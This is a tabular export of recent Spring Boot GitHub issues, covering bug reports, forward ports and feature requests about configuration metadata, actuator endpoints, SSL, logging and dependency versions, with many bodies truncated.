spring-projects/spring-boot,4375197311,Configuration processor not resolving default values and documentation in nested configuration property classes when the POJO naming conventions are not followed,"Having the following configuration properties structure:

```java
@ConfigurationProperties(""my.props"")
public class MyProps {

    @NestedConfigurationProperty
    private final Foo foo;

    public MyProps(@DefaultValue Foo foo) {
        this.foo = foo;
    }

    public Foo getFoo() {
        return foo;
    }
}
```

```java
public class Foo {

    /**
     * property of Foo.
     */
    String myProperty = ""default"";

    public String getProperty() {
        return myProperty;
    }

    public void setProperty(String property) {
        this.myProperty = property;
    }
}
```

the following `spring-configuration-metadata.json` is generated:

```json
{
  ""groups"": [
    {
      ""name"": ""my.props"",
      ""type"": ""com.example.demo.props.MyProps"",
      ""sourceType"": ""com.example.demo.props.MyProps""
    },
    {
      ""name"": ""my.props.foo"",
      ""type"": ""com.example.demo.props.Foo"",
      ""sourceType"": ""com.example.demo.props.MyProps"",
      ""sourceMethod"": ""getFoo()""
    }
  ],
  ""properties"": [
    {
      ""name"": ""my.props.foo.property"",
      ""type"": ""java.lang.String"",
      ""sourceType"": ""com.example.demo.props.Foo""
    }
  ],
  ""hints"": [],
  ""ignored"": {
    ""properties"": []
  }
}
```

The issue is that the default value and documentation from javadoc is not generated in the metadata.json file when nested configuration properties class is not following the POJO naming conventions. But the default value is successfully resolved on runtime. 

When we rename the `Foo... [TRUNCATED]",status: invalid,2026-05-04T08:52:00Z,2026-05-05T14:04:41Z,4
spring-projects/spring-boot,4374411573,Meter registries are not removed from the global registry when the context is closed,Forward port of issue #50286 to 4.1.x.,"type: bug,status: forward-port",2026-05-04T06:22:19Z,2026-05-04T06:22:31Z,0
spring-projects/spring-boot,4374411171,Meter registries are not removed from the global registry when the context is closed,Forward port of issue #50235 to 4.0.x.,"type: bug,status: forward-port",2026-05-04T06:22:11Z,2026-05-04T06:22:30Z,0
spring-projects/spring-boot,4372139078,Add links for Java CAS Client Spring Boot Starter,Forward port of issue #50281 to 4.1.x.,"type: documentation,status: forward-port",2026-05-03T15:05:28Z,2026-05-03T15:05:36Z,0
spring-projects/spring-boot,4367320680,Incorrect ivysettings.xml file is produced by RepositoryTransformersExtension,Forward port of issue #50278 to 4.1.x.,status: forward-port,2026-05-02T00:48:37Z,2026-05-02T00:48:49Z,0
spring-projects/spring-boot,4367318589,Incorrect ivysettings.xml file is produced by RepositoryTransformersExtension,Forward port of issue #50277 to 4.0.x.,status: forward-port,2026-05-02T00:48:08Z,2026-05-02T00:48:49Z,0
spring-projects/spring-boot,4367310927,Incorrect ivysettings.xml file is produced by RepositoryTransformersExtension,,,2026-05-02T00:46:17Z,2026-05-02T00:48:48Z,0
spring-projects/spring-boot,4366903985,Could not initialize class org.apache.logging.log4j.status.StatusLogger,"I have a simple spring-boot application, here are relevant parts of the poms.

Parent POM
```
<dependencyManagement>
  <!-- ... -->
  <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-dependencies</artifactId>
      <version>${spring-boot.version}</version>
      <type>pom</type>
      <scope>import</scope>
  </dependency>
  <!-- ... -->
</dependencyManagement>
```

Child POM
```
<dependencies>
  <!-- ... -->
  <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-webmvc</artifactId>
  </dependency>
  <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-jdbc</artifactId>
  </dependency>
  <!-- ... -->
</dependencies>
```

Then I have this very basic test in the child artifact:
```java
@SpringJUnitConfig
class ServiceTest {
    @Test
    fun test() {
    }

    @TestConfiguration
    class TestConfig {

    }
}
```

Running this test with `spring-boot.version` set to 4.0.1 works fine.
But switching to 4.0.6, I get the following error:

```
java.lang.NoClassDefFoundError: Could not initialize class org.apache.logging.log4j.status.StatusLogger

	at org.apache.logging.log4j.LogManager.<clinit>(LogManager.java:61)
	at org.apache.commons.logging.impl.Log4jApiLogFactory$LogAdapter.getContext(Log4jApiLogFactory.java:161)
	at org.apache.logging.log4j.spi.AbstractLoggerAdapter.getLogger(AbstractLoggerAdapter.java:47)
	at org.apache.commons.logging.im... [TRUNCATED]",status: invalid,2026-05-01T22:16:48Z,2026-05-09T03:07:34Z,3
spring-projects/spring-boot,4364008059,Harden deserialization in HttpRestartServer,Forward port of issue #50274 to 4.1.x.,"type: task,status: forward-port",2026-05-01T10:45:46Z,2026-05-01T10:46:04Z,0
spring-projects/spring-boot,4363993458,Harden deserialization in HttpRestartServer,Forward port of issue #50272 to 4.0.x.,"type: task,status: forward-port",2026-05-01T10:41:16Z,2026-05-01T10:46:04Z,0
spring-projects/spring-boot,4363877574,Harden deserialization in HttpRestartServer,"While remote code execution is an inherent feature of remote DevTools, there's still some value in hardening the deserialization of `ClassLoaderFilter` in `HttpRestartServer` to project against deserialization gadgets. Not least, it will hopefully reduce the false-positives from AI-based security tools that don't seem to understand the full context of the feature and [how and when it should be used](https://docs.spring.io/spring-boot/reference/using/devtools.html#using.devtools.remote-applications).",type: task,2026-05-01T10:04:54Z,2026-05-01T10:46:03Z,0
spring-projects/spring-boot,4363566706,Improve nullability in TestPropertyValues,Forward port of issue #50269 to 4.1.x.,"type: task,status: forward-port",2026-05-01T08:34:47Z,2026-05-01T08:35:26Z,0
spring-projects/spring-boot,4363402047,Improve nullability in TestPropertyValues,"We originally thought that this was a [NullAway bug](https://github.com/uber/NullAway/issues/1528) but, with thanks to @msridhar for the explanation, now know that's not the case.

With recent versions of NullAway, `TestPropertyValues` fails to compile:

```
> Task :core:spring-boot-test:compileJava
/Users/aw036093/dev/spring-projects/spring-boot/4.0.x/core/spring-boot-test/src/main/java/org/springframework/boot/test/util/TestPropertyValues.java:103: error: [NullAway] parameter type of referenced method is Entry<String, @Nullable String>, but parameter in functional interface method has type Entry<String, String>, which has mismatched type parameter nullability
                return (map != null) ? and(map.entrySet().stream(), Pair::fromMapEntry) : this;
                                                                    ^
    (see http://t.uber.com/nullaway )
/Users/aw036093/dev/spring-projects/spring-boot/4.0.x/core/spring-boot-test/src/main/java/org/springframework/boot/test/util/TestPropertyValues.java:260: error: [NullAway] parameter type of referenced method is Entry<String, @Nullable String>, but parameter in functional interface method has type Entry<String, String>, which has mismatched type parameter nullability
                return (map != null) ? of(map.entrySet().stream(), Pair::fromMapEntry) : empty();
                                                                   ^
    (see http://t.uber.com/nullaway )
2 errors
```

The stream of map entries is a stream ... [TRUNCATED]",type: task,2026-05-01T07:37:54Z,2026-05-01T08:35:25Z,0
spring-projects/spring-boot,4361589954,DeferredLogs never get logged during Spring Boot config import when a failure occurs,"Logs are being dropped during Spring Boot config import from config resources that are using deferred logs.

This is because the `ApplicationFailedEvent` is processed by  `org.springframework.boot.env.EnvironmentPostProcessorApplicationListener` before `org.springframework.boot.context.logging.LoggingApplicationListener`. The `EnvironmentPostProcessorApplicationListener` triggers the deferred logs to start writing after receiving the event. However `org.springframework.boot.logging.logback.LogbackLoggingSystem` still has a turbo filter suppressing all log events. Once `LoggingApplicationListener` processes the event new log messages are written such as the `APPLICATION FAILED TO START`.

The impact of this is when there is an error only the `APPLICATION FAILED TO START` message is in the logs with no details as to the cause making trouble shooting impossible without attaching a debugger. When I attach the debugger I can see the log messages from `io.awspring.cloud.autoconfigure.config.parameterstore.ParameterStorePropertySources` in `org.springframework.boot.logging.DeferredLogs`. The `ParameterStorePropertySources` logs out a warning on failure that is being thrown away. For our application there were a total of 82 log events discarded on this failure with various log levels.

```
spring:
  config:
    import: aws-parameterstore:/config/${spring.application.name}/
```

Note when the application starts up successfully I see logs that were deferred being logged.

Also if looki... [TRUNCATED]",status: duplicate,2026-04-30T22:16:22Z,2026-05-04T19:36:03Z,3
spring-projects/spring-boot,4361400439,Nullable annotations from AbstractErrorController.getErrorAttributes are not aligned with implementation,Forward port of issue #50265 to 4.1.x.,"type: bug,status: forward-port",2026-04-30T21:37:03Z,2026-04-30T21:37:18Z,0
spring-projects/spring-boot,4360087729,Bean definitions can be added with an initializer before setAllowBeanDefinitionOverriding is called,"See https://github.com/spring-projects/spring-framework/issues/36648.

This feels a little too risky to fix in patch release since it is change in behavior.",type: bug,2026-04-30T17:37:28Z,2026-05-04T22:47:55Z,0
spring-projects/spring-boot,4359003584,Fetch overall health/info from Actuator in parallel,"### Enhancement

Hello.

I was checking the code in Actuator and, for what I can see, it fetches the results of the various health indicators sequentially.
I didn't manage to check the info contributors part, but I would expect there a similar situation.

If would be great if, instead, they would be fetched in parallel, ideally with virtual threads, if enabled.

**Problem**

If some health indicators are slow, their slowness is cumulative for the total time needed for `/health` (or `/health/foo` where `foo` is a group or a composite indicator) to return the result.
This is especially crucial for monitoring systems which need to get data as fast as possible.
By parallelizing them, assuming that enough resources are available, the overall time will be equal to the time of the slowest indicator which will be, by construction, faster (or equal) than before.

**Possible issues: ordering**

Order of the various results may be potentially an issue if it's expected but, maybe, on an high level, it could be possible to:

1. iterate first over the various indicators/contributors in the order they're returned by the registry and attach to them an ""index"" (e.g.: OrderedHealthIndicator(index) extends HealthIndicator`)
2. execute them in parallel and make each job return the index together with the result (e.g: OrderedHealth(index) extends Health`)
3. sort the results by index and compose the final health
",status: duplicate,2026-04-30T14:44:44Z,2026-04-30T14:47:08Z,14
spring-projects/spring-boot,4358190340,EndpointRequest links matcher unnecessarily matches HTTP methods other than GET ,Forward port of issue #50260 to 4.1.x.,"type: bug,status: forward-port",2026-04-30T12:45:28Z,2026-04-30T12:45:44Z,0
spring-projects/spring-boot,4358181572,EndpointRequest links matcher unnecessarily matches HTTP methods other than GET ,Forward port of issue #50095 to 4.0.x.,"type: bug,status: forward-port",2026-04-30T12:44:12Z,2026-04-30T12:45:44Z,0
spring-projects/spring-boot,4357762068,Actuator's '/cloudfoundryapplication' endpoint does not work if restrictive CORS configuration is provided using a bean named corsConfigurationSource,Forward port of issue #50257 to 4.1.x.,"type: regression,status: forward-port",2026-04-30T11:38:14Z,2026-04-30T11:38:36Z,0
spring-projects/spring-boot,4357698743,Actuator's '/cloudfoundryapplication' endpoint does not work if restrictive CORS configuration is provided using a bean named corsConfigurationSource,Forward port of issue #50254 to 4.0.x.,"type: regression,status: forward-port",2026-04-30T11:27:05Z,2026-04-30T11:38:35Z,0
spring-projects/spring-boot,4354947354,WebFlux Cloud Foundry endpoint responses do not include the security error body,"**Spring Boot version:** main

When a Cloud Foundry security check fails (expired token, access denied, etc.), the reactive `SecureReactiveWebOperation` returns only the HTTP status code with no response body:

```java
// CloudFoundryWebFluxEndpointHandlerMapping.SecureReactiveWebOperation
if (!securityResponse.getStatus().equals(HttpStatus.OK)) {
    return Mono.just(new ResponseEntity<>(securityResponse.getStatus()));
}
```

The servlet counterpart includes a `{""security_error"":""...""}` body:

```java
// CloudFoundryWebEndpointServletHandlerMapping.SecureServletWebOperation
if (!securityResponse.getStatus().equals(HttpStatus.OK)) {
    return new ResponseEntity<Object>(securityResponse.getMessage(), securityResponse.getStatus());
}
```

The message takes the form `{""security_error"":""Access denied""}` or `{""security_error"":""Token expired""}` — information that `SecurityInterceptor` already computes but the reactive path silently discards.

**Expected behavior:** A failed Cloud Foundry security check in a WebFlux application returns the same `{""security_error"":""<reason>""}` body as the servlet counterpart.

**Actual behavior:** Only the status code (401, 403, 503) is returned with an empty body.

I'd be happy to contribute a fix for this.",status: superseded,2026-04-30T02:41:39Z,2026-04-30T07:23:19Z,1
spring-projects/spring-boot,4354512394,Actuator's '/cloudfoundryapplication' endpoint does not work if restrictive CORS configuration is provided using a bean named corsConfigurationSource,"When defining a Cors-Configuration in Spring Boot 4.0.6 the `/cloudfoundryapplication` is broken. Before i guess something around Spring 3.5.10 it used to work after upgrading to 3.5.11 or 3.5.12 it stopped working. The same behaviour is still present in 4.0.6 i saw some code changes to `CloudFoundryActuatorAutoConfiguration` have been made arround that versions maby those are responsible for the new behaviour. Before that the applications CORS config was irrelevant for the Spring-Boot-Integration in Cloud Foundry.

Maby that is intented behaviour but i wasnt able to find any information regarding those changes.

All necessary stuff is down here ⬇️

<details>
<summary> 📑 Spring Security Logs when calling /cloudfoundryapplication from CF </summary>
 <code>
<pre>
2026-04-30T02:07:43.608+02:00 [APP/REV/14/PROC/WEB/1] [OUT] 2026-04-30T02:07:43.607+02:00 TRACE 8 --- [Spring-Boot-Cloud-Foundry-Issue-Sample] [nio-8080-exec-4] o.s.security.web.FilterChainProxy : Trying to match request against DefaultSecurityFilterChain defined as 'cloudFoundrySecurityFilterChain' in [class path resource [org/springframework/boot/cloudfoundry/autoconfigure/actuate/endpoint/servlet/CloudFoundryActuatorAutoConfiguration$IgnoredCloudFoundryPathsWebSecurityConfiguration.class]] matching [Or [PathPattern [/cloudfoundryapplication/**]]] and having filters [DisableEncodeUrl, WebAsyncManagerIntegration, SecurityContextHolder, HeaderWriter, Cors, Csrf, Logout, RequestCacheAware, SecurityContextHolderAwareRequ... [TRUNCATED]",type: regression,2026-04-30T00:30:11Z,2026-04-30T11:38:35Z,7
spring-projects/spring-boot,4354185567,ForwardedHeaders not applied in WAR deployment,"I migrated an application from Spring Boot 3.4 to Spring Boot 4.0.5 
My configuration requires an adaption of Forwarded-Headers (""server.forward-headers-strategy: FRAMEWORK"").
Unfortunately the support of this adaption got lost in Spring Boot 4.0.5 for WAR-Deployments. 
 
My productive environment unfortunately enforces an WAR-Deployment, so I develop and test locally a ""real"" Spring Boot-Application and operate a WAR-Deployment. Local executed Spring-Boot-Applications have a perfect support for Forwarded-Headers but not the WAR-Deployment anymore.

I was able to break it down: 
1. Spring Boot 4.05 provides support for ForwardedHeaders by `ServletWebServerConfiguration` and `ReactiveWebServerConfiguration`. These classes are part of spring-boot-web-server and are included in configurations of spring-boot-tomat and spring-boot-jetty. As long as you use the integrated jetty or tomcat, everything works fine. But the WAR-Deployment excludes the tomcat / jetty => Support gets lost.
2. I think, the support of Forwarded-Headers should be independently auto configured. So I created AutoConfigurations for the support of Forwarded-Headers in spring-boot-servlet and spring-boot-reactor and removed corresponding from ServletWebServerConfiguration` and `ReactiveWebServerConfiguration`.
3. Unfortunately there is then a cycle spring-boot-servlet -> spring-boot-tomcat -> spring-boot-servlet as now spring-boot-tomcat requires spring-boot-servlet (for Forwarded-Headers-Support / Tests) but als... [TRUNCATED]",type: wiki-documentation,2026-04-29T23:02:16Z,2026-04-30T06:47:18Z,4
spring-projects/spring-boot,4353983450,Bug Report: OpenTelemetry NoSuchMethodError: LogRecordBuilder.setException(Throwable) when logging WARN/ERROR with attached Throwable,"# Bug Report: `NoSuchMethodError: LogRecordBuilder.setException(Throwable)` when logging WARN/ERROR with attached Throwable

## Summary

When using `opentelemetry-logback-appender-1.0:2.26.1-alpha` with Spring Boot 4.0.6 and Spring AI 2.0.0-M5, the application crashes with a `NoSuchMethodError` whenever a log statement at WARN or ERROR level includes an attached `Throwable`. The root cause is a version mismatch between the `opentelemetry-api` pinned by the Spring Boot BOM (`1.55.0`) and the version required by the logback appender instrumentation (`1.61.0+`).

---

## Environment

| Component | Version |
|---|---|
| Spring Boot | 4.0.6 |
| Spring AI | 2.0.0-M5 |
| `opentelemetry-logback-appender-1.0` | 2.26.1-alpha |
| `opentelemetry-api` (effective, via Spring Boot BOM) | 1.55.0 |
| Java | 25.0.2 |
| OS | Windows 11 |

---

## Steps to Reproduce

1. Create a Spring Boot 4.0.6 application with `spring-boot-starter-opentelemetry`.
2. Add `opentelemetry-logback-appender-1.0:2.26.1-alpha` as a dependency.
3. Configure `OpenTelemetryAppender` in `logback-spring.xml`.
4. Trigger any code path that calls `logger.warn(message, throwable)` or `logger.error(message, throwable)` — i.e. a log statement with an attached `Throwable`.

In this specific case, the trigger was `TikaDocumentReader` processing a PDF with malformed TTF fonts, which caused PDFBox to emit a WARN-level log with an attached `IOException`.

---

## Expected Behavior

The application should log the WARN/ERROR message ... [TRUNCATED]",status: invalid,2026-04-29T22:12:21Z,2026-04-30T00:54:18Z,3
spring-projects/spring-boot,4352939091,Spring-Boot patch version has breaking Thymeleaf change,"This is for awareness that a spring-boot patch version upgraded included a breaking Thymeleaf change. I have opened an [issue](https://github.com/thymeleaf/thymeleaf/issues/1097) against the Thymeleaf repo on getting more details and if there is a workaround/config option to keep the old implementation.
","status: invalid,for: external-project",2026-04-29T18:51:06Z,2026-04-29T18:54:43Z,5
spring-projects/spring-boot,4350223435,RC1 has a wrong spring-framework version,"Hello,
for some reason, seems like the RC1 points to spring-core,jcl,context version 6.2.11, the only way to fix it is by specifying the property to <spring-framework.version>7.0.7</spring-framework.version>.

[rc1-test.zip](https://github.com/user-attachments/files/27200092/rc1-test.zip)

I attached the MVCE, in fact, a simple web app doesn't start, my guess is the jooq-boom, like I mentioned to @lukaseder in https://github.com/jOOQ/jOOQ/issues/19641

<img width=""1170"" height=""478"" alt=""Image"" src=""https://github.com/user-attachments/assets/f1080ff7-0635-4a70-a60c-cc862b380ef1"" />",status: invalid,2026-04-29T11:39:35Z,2026-04-29T12:14:01Z,3
spring-projects/spring-boot,4349473062,NullPointerException in reactor-netty SniProvider when SSL bundle uses client-auth or server truststore without server-name-bundles,"## Summary

When the embedded reactor-netty server is configured with an SSL bundle and either `server.ssl.client-auth: need|want` or a `truststore` block on the server bundle, every TLS handshake from a client that sends an SNI extension fails with a `NullPointerException` originating from `SslServerCustomizer`'s SNI mapping lambda.

The problem disappears when the request's SNI hostname is added explicitly under `server.ssl.server-name-bundles`. A keystore-only bundle without `client-auth` does not trigger the NPE.

## Versions

- Spring Boot **3.5.14** (also present unchanged in `4.0.6` and `main` — verified by reading source)
- reactor-netty **1.2.17** (transitive)
- Java 21 (Temurin 21.0.10)
- Linux x86_64

## Reproducer

Minimal repo (single Spring Boot WebFlux app, ~14-line YAML):
https://github.com/trobanga/spring-boot-ssl-bundle-sni-npe

```bash
git clone https://github.com/trobanga/spring-boot-ssl-bundle-sni-npe
cd spring-boot-ssl-bundle-sni-npe
./gen-certs.sh
mvn -q spring-boot:run &

curl -kv \
  --resolve any.host.example:9443:127.0.0.1 \
  --cacert ssl/ca.crt --cert ssl/client.crt --key ssl/client.key \
  https://any.host.example:9443/ping
```

The triggering YAML is:

```yaml
spring.ssl.bundle.pem.server:
  keystore:
    certificate: file:ssl/server.crt
    private-key: file:ssl/server.key
server:
  port: 9443
  ssl:
    bundle: server
    client-auth: need
```

## Stack trace

```
java.lang.NullPointerException: Cannot invoke ""reactor.netty.tcp.SslProvider.get... [TRUNCATED]","type: bug,status: superseded",2026-04-29T09:46:22Z,2026-05-07T11:47:12Z,7
spring-projects/spring-boot,4348089457,StandardJsonMapperBuilderCustomizer overwrites pre-configured Jackson JsonMapper.Builder,"## Summary
As of Spring-Boot 4.0.6, `AbstractMapperBuilderCustomizer.configureConstructorDetector` now always replaces the existing `ConstructorDetector` with one of the static detectors defined on the `ConstructorDetector` class. This overwrites any prior modifications that were made to the constructor detector, including any base properties that were set on the builder before it was customized (such as during the `JsonMapper.Builder` bean's creation). This is a change in behaviour since Spring Boot 4.0.5, and we've picked this up with failures in our integration test suite.
## Details
When the container is launched, the Spring Boot property configuration looks at `spring.jackson.constructor-detector` to establish the behaviour of the Jackson object mapper.

In Spring Boot 4.0.5, if the aforementioned property is not set, Spring Boot makes no modifications to the configuration of Jackson's ConstructorDetector.

In Spring Boot 4.0.6, a modification was made in [#49798]([https://github.com/spring-projects/spring-boot/issues/49798](https://github.com/spring-projects/spring-boot/issues/49798)) that results in the default constructor detector handling always being applied.

In our container, we have configured the `JsonMapper.Builder` to use the default no-arg constructor. This is based on Jackson 3's recommended configuration ([see issue](https://github.com/FasterXML/jackson-databind/issues/5318)) to support backwardly compatible behaviour with Jackson 2, using this configuratio... [TRUNCATED]",status: invalid,2026-04-29T05:16:17Z,2026-04-29T07:00:33Z,3
spring-projects/spring-boot,4345804778,/actuator/logfile fails with HttpMessageNotWritableException when Range header is present (Spring Boot 4.0.x / Spring Framework 7.x),"Summary

After upgrading to Spring Boot 4.0.5 (Spring Framework 7.x), the /actuator/logfile endpoint fails with a 500 Internal Server Error when the client sends a Range header. The log file is correctly detected (logs/fusion.log) and exists on disk.

Spring MVC converts the returned Resource into a List<ResourceRegion> when a Range header is present, but Spring Framework 7.x no longer registers ResourceRegionHttpMessageConverter. No remaining HttpMessageConverter can serialize the list, causing the actuator endpoint to fail. This worked correctly in Spring Boot 3.x / Spring Framework 6.x.
Spring Boot Version

4.0.5
Spring Framework Version

7.x
Steps to Reproduce

    Configure a log file using logging.file.name=logs/fusion.log and expose the actuator endpoint using management.endpoints.web.exposure.include=logfile.

    Call the actuator endpoint with a Range header, for example:
    GET /actuator/logfile  
    Range: bytes=0-1024

    Observe the 500 error.

Actual Behavior

The endpoint returns 500 Internal Server Error.

Log output contains:
HttpMessageNotWritableException: No converter for [class java.util.ArrayList] with preset Content-Type 'null'
Expected Behavior

Calling /actuator/logfile with a Range header should return a partial response (206 Partial Content) with the appropriate Content-Range headers, as it did in Spring Boot 3.x.
Root Cause Analysis

    LogFileWebEndpoint returns a Resource with produces = ""text/plain; charset=UTF-8"".

    When a Range header ... [TRUNCATED]",status: invalid,2026-04-28T19:51:26Z,2026-04-30T10:47:19Z,2
spring-projects/spring-boot,4344830485,Add an option to prevent TestTypeExcludeFilter from excluding test class inner @Component beans,"I recently discovered that some of my `@AutoConfiguration` beans were subject to component scanning because my application was declaring `@ComponentScan` in addition to `@SpringBootApplication`. To fix this, I removed the `@ComponentScan`. But this lead to another issue regarding my current tests.

Some of my http tests look like this:

```java
@HttpBootTestBattery1
class AccreditedPrincipalMethodArgumentResolverTest {

  @Inject private HalMockMvcBuilders halMockMvcBuilders;
  @Inject private TestAuthentications testAuthentications;
  @Inject private WebMvcLinkBuilderFactory linkBuilders;

  @Test
  void test() throws Exception {
    URI baseUri = linkBuilders.linkTo(methodOn(MyController.class).get(null)).toUri();
    halMockMvcBuilders
        .create()
        .baseUri(baseUri)
        .addRequestPostProcessor(authentication(testAuthentications.asSystem().authentication()))
        .build()
        .follow()
        .get()
        .andExpect(status().isNoContent());
  }

  @RestController
  @RequestMapping(""/AccreditedPrincipalMethodArgumentResolverTest"")
  static class MyController {

    @GetMapping
    ResponseEntity<?> get(AccreditedPrincipal accreditedPrincipal) {
      assertThat(accreditedPrincipal).isNotNull();
      return ResponseEntity.noContent().build();
    }
  }
}
```

Before the modification, `MyController` was registered by the component scan. But now, `MyController` is excluded from the component scan because of  `TypeExcludeFilter`. The latter applies `... [TRUNCATED]",status: declined,2026-04-28T16:48:41Z,2026-04-28T19:37:12Z,4
spring-projects/spring-boot,4344551638,Define handling of agents.md,"## Description
It is not clear whether `agents.md` should be tracked by git or treated as a local file.

## Decision needed
- Either keep `agents.md` in the repository
- Or ignore it via `.gitignore`

## Goal
Avoid inconsistent usage across environments.",status: superseded,2026-04-28T16:02:50Z,2026-04-28T16:05:27Z,1
spring-projects/spring-boot,4344428316,Add .idea/ in .gitignore,"## Description
The current `.gitignore` file does not exclude the `.idea` directory, which may lead to versioning IDE-specific configuration files.

## Problem
- IDE configuration files vary between environments  
- May introduce unnecessary conflicts in the repository  

## Solution
Add the following rule to `.gitignore`:

```gitignore
.idea/",status: superseded,2026-04-28T15:43:38Z,2026-04-28T16:05:04Z,1
spring-projects/spring-boot,4344161754,Test Gradle plugin against Gradle 9.5.0,,type: task,2026-04-28T15:02:20Z,2026-04-29T11:26:01Z,0
spring-projects/spring-boot,4344120516,Upgrade to Gradle 9.5.0,Forward port of issue #50236 to 4.1.x.,"type: task,status: forward-port",2026-04-28T14:55:41Z,2026-04-28T14:55:57Z,0
spring-projects/spring-boot,4343900837,Upgrade to Gradle 9.5.0,,type: task,2026-04-28T14:23:10Z,2026-04-28T14:55:56Z,0
spring-projects/spring-boot,4342916101,ThreadPoolTaskScheduleBuilder unnecessarily loses precision when configuring await termination time,Forward port of issue #50233 to 4.1.x.,"type: bug,status: forward-port",2026-04-28T11:55:01Z,2026-04-28T11:55:11Z,0
spring-projects/spring-boot,4342915274,ThreadPoolTaskScheduleBuilder unnecessarily loses precision when configuring await termination time,Forward port of issue #50225 to 4.0.x.,"type: bug,status: forward-port",2026-04-28T11:54:52Z,2026-04-28T11:55:10Z,0
spring-projects/spring-boot,4337576547,Meter registries are not removed from the global registry when the context is closed,"# Summary

When `management.metrics.use-global-registry=true` (the default), `MeterRegistryPostProcessor` adds each context's `MeterRegistry` bean to Micrometer's static `Metrics.globalRegistry`:

```java
	private void addToGlobalRegistryIfNecessary(MeterRegistry meterRegistry) {
		if (this.properties.getObject().isUseGlobalRegistry() && !isGlobalRegistry(meterRegistry)) {
			Metrics.addRegistry(meterRegistry);
		}
	}
```

https://github.com/spring-projects/spring-boot/blob/v4.0.6/module/spring-boot-micrometer-metrics/src/main/java/org/springframework/boot/micrometer/metrics/autoconfigure/MeterRegistryPostProcessor.java#L123-L127

On context close, `MetricsAutoConfiguration$MeterRegistryCloser` calls `meterRegistry.close()` but never calls `Metrics.removeRegistry(meterRegistry)` (or equivalently `Metrics.globalRegistry.remove(meterRegistry)`):

```java
		@Override
		public void onApplicationEvent(ContextClosedEvent event) {
			if (this.context.equals(event.getApplicationContext())) {
				for (MeterRegistry meterRegistry : this.meterRegistries) {
					if (!meterRegistry.isClosed()) {
						meterRegistry.close();
					}
				}
			}
		}
```

https://github.com/spring-projects/spring-boot/blob/v4.0.6/module/spring-boot-micrometer-metrics/src/main/java/org/springframework/boot/micrometer/metrics/autoconfigure/MetricsAutoConfiguration.java#L115-L117


This leads to memory leaks if closed `MeterRegistry`s are not cleaned up from the global registry. Because if the static field, `Metr... [TRUNCATED]","type: bug,status: superseded",2026-04-27T17:16:28Z,2026-04-28T14:20:11Z,3
spring-projects/spring-boot,4337195772,ConfigurationPropertiesReportEndpoint exposes AOP proxy internals,"### Spring Boot version
4.0.6 (also reproduces with Spring Cloud 2025.1.1 — `spring-cloud-context` provides `@RefreshScope`)

### Description

A `@RefreshScope`-annotated `@ConfigurationProperties` bean is exposed via
`/actuator/configprops` with the AOP proxy's `Advised` interface getters
(`targetSource`, `exposeProxy`, `preFiltered`) included alongside the
legitimate `@ConfigurationProperties` fields.

This happens **independently of `BufferingApplicationStartup`** — the leak
is intrinsic to how the endpoint handles refresh-scoped CGLIB proxies.
With `BufferingApplicationStartup` configured, the leak balloons by orders
of magnitude because the Jackson serializer follows
`targetSource.beanFactory.applicationStartup.bufferedTimeline.events[…]`
into the entire startup-event buffer (hundreds to thousands of entries
per refresh-scoped bean).

The endpoint also exposes the bean **twice** — once as the proxy
(`beanName`) and once as the underlying target (`scopedTarget.beanName`).
The target serializes cleanly; only the proxy variant carries the
`Advised` leak.

The combination `@RefreshScope` + `@ConfigurationProperties` is the
standard Spring Cloud pattern for runtime-reloadable properties, so every
project using this pattern is affected.

### Reproducer

Minimal multi-module reproducer (no security, ~10 files):
https://github.com/ahoehma/springboot-refreshscope-properties-bug

```
mvn -DskipTests install
mvn -pl sba-service spring-boot:run    # in one terminal
mvn -pl app-servi... [TRUNCATED]","type: bug,status: superseded",2026-04-27T16:16:02Z,2026-05-04T12:46:21Z,3
spring-projects/spring-boot,4336724267,Regression in ImportsCleanupPostProcessor in Spring Boot 3.5.14 (potentially in 4.0.6),"I think I found a (unintended) side effect in [a change included in Spring Boot 3.5.14](https://github.com/spring-projects/spring-boot/issues/49860) (and probably Spring Boot 4.0.6 as it includes [the change](https://github.com/spring-projects/spring-boot/issues/50012) too) but my tests were with SB 3.5.14 vs 3.5.13.

The `ImportsCleanupPostProcessor` no longer removes bean definitions registered via `@SpringBootTest(classes = TestClass.class)` when the bean name doesn't match the FQCN. This affect the test classes that are self-referenced in the `classes` attribute.


I haven't found any documentation warning that this was not recommended/supported (or that should not be done), or that was going to loose support. In addition it worked since Spring Boot 1.x till Spring Boot 3.5.13 (included).

Minimal reproducer that works with Spring Boot 3.5.13 and fails with Spring Boot 3.5.14:
```java
package testing;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestInfo;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.test.context.SpringBootTest;

@SpringBootTest(classes = SpringBootRegressionTest.class)
@EnableAutoConfiguration
class SpringBootRegressionTest {

  private final TestInfo testInfo;

  SpringBootRegressionTest(TestInfo testInfo) {
    this.testInfo = testInfo;
  }

  @Test
  void contextLoads() {
  }
}

```
",status: declined,2026-04-27T15:00:19Z,2026-04-29T15:39:19Z,6
spring-projects/spring-boot,4334480469,Fix classname of ReactiveOAuth2ResourceServerJwkConfiguration,Forward port of issue #50226 to 4.0.x.,"type: task,status: forward-port",2026-04-27T09:04:40Z,2026-04-27T09:05:46Z,0
spring-projects/spring-boot,4334444111,NimbusJwtDecoder silently accepts unknown values for spring.security.oauth2.resourceserver.jwt.jws-algorithms,Forward port of issue #50227 to 4.1.x.,"type: bug,status: forward-port",2026-04-27T08:59:47Z,2026-04-27T09:00:00Z,0
spring-projects/spring-boot,4334271562,NimbusJwtDecoder silently accepts unknown values for spring.security.oauth2.resourceserver.jwt.jws-algorithms,Forward port of issue #50118 to 4.0.x.,"type: bug,status: forward-port",2026-04-27T08:30:50Z,2026-04-27T08:59:59Z,0
spring-projects/spring-boot,4334202929,Fix classname of ReactiveOAuth2ResourceServerJwkConfiguration,Should be ReactiveOAuth2ResourceServerJwtConfiguration,type: task,2026-04-27T08:20:26Z,2026-04-27T09:05:45Z,0
spring-projects/spring-boot,4331754782,Missing dependency management for spring-boot-web-server-test,,type: bug,2026-04-26T19:18:26Z,2026-04-26T19:23:12Z,0
spring-projects/spring-boot,4327735826,Document known testcontainers lifecycle issues ,Forward port of issue #50219 to 4.1.x.,"type: documentation,status: forward-port",2026-04-25T09:47:48Z,2026-04-25T09:47:59Z,0
